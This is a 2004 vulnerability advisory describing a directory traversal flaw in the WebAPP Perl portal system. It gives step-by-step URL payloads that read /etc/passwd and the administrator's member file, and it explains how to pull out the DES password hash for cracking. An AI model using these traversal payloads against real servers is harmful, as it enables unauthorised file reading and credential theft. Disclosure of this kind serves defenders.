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WebAPP Multiple Vulnerabilities
25 August 2004
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From: "Jérôme" ATHIAS <jerome.athias(At)caramail.com>

WebAPP is advertised as the internet's most feature rich, easy to run PERL based portal system. Its home site is at http://www.web-app.org/ Some features are :

-Easy to Install on standard Unix servers! (Windows user-supported only!)
-User Profiles
-Message forums
-Private messaging between members
-Blog-style News Articles
-Links and Downloads
-Customizable themes
-Multiple language support
-Flat-file System-NO SQL DATABASE!
-Membership controls
-Open source

Several user mods are also available which ranges from chat to e-commerce applications.

Several vulnerabilities in these mods have already been discovered.

The WebAPP system itself has a serious reverse directory traversal vulnerability.

Example..

1) Go to http://vulnerable-target.xxx/cgi-bin/index.cgi
/this is their main support site/

2) Click on Articles on the main menu at the left side of the screen

3) Click on any of the icons representing the misc topics available /i chose the "bugs" section/

4) You'll wind up with the url "http://vulnerable-target.xxx/cgi-bin/index.cgi?
action=topics&viewcat=bugs" on the address bar on your browser. Change it to
"http://vulnerable-target.xxx/cgi-bin/index.cgi?action=topics&viewcat=
../../../../../../../etc/passwd%00"

5)View the html source for the page

A more interesting file to look at would be;
"http://vulnerable-target.xxx/cgi-bin/index.cgi?action=topics
&viewcat=../../db/members/admin.dat%00"

View the html source code and scroll down until you come to the line with;
href="index.cgi?action=viewnews&amp;id=adUCOOzV2ljgg"></a></td>

"adUCOOzV2ljgg" is the hashed password of the Administrator.
It's standard DES encrypted so you can run a password cracking program to crack it

Every user would have a corresponding .dat file within the db/members directory

PhTeam Release

Greetz to PATz, Luvchr|s, Verum, Fed-X, rebarz99, hEps, ch1m3ra, and sa mga posers na kupal sa #oneball


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